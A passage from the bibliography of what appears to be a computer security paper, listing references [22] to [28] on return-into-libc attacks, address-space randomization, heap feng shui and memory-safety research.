[22] Hovav Shacham. The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). In *Proceedings of the 14th ACM conference on Computer and communications security*, pages 552–561. ACM, 2007.

[23] Hovav Shacham, Matthew Page, Ben Pfaff, Eu-Jin Goh, Nagendra Modadugu, and Dan Boneh. On the effectiveness of address-space randomization. In *Proceedings of the 11th ACM conference on Computer and communications security*, pages 298–307. ACM, 2004.

[24] Alexander Sotirov. Heap feng shui in javascript. *Black Hat Europe*, 2007.

[25] Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund, and Thomas Walter. Breaking the memory secrecy assumption. In *Proceedings of the Second European Workshop on System Security*, pages 1–8. ACM, 2009.

[26] László Szekeres, Mathias Payer, Tao Wei, and Dawn Song. Sok: Eternal war in memory. In *Security and Privacy (SP), 2013 IEEE Symposium on*, pages 48–62. IEEE, 2013.

[27] Minh Tran, Mark Etheridge, Tyler Bletsch, Xuxian Jiang, Vincent Freeh, and Peng Ning. On the expressiveness of return-into-libc attacks. In *Recent Advances in Intrusion Detection*, pages 121–141. Springer, 2011.

[28] RN Wojtczuk. The advanced return-into-lib (c) exploits: Pax case study. *Phrack Magazine, Volume 0x0b, Issue 0x3a, Phile# 0x04 of 0x0e*, 2001.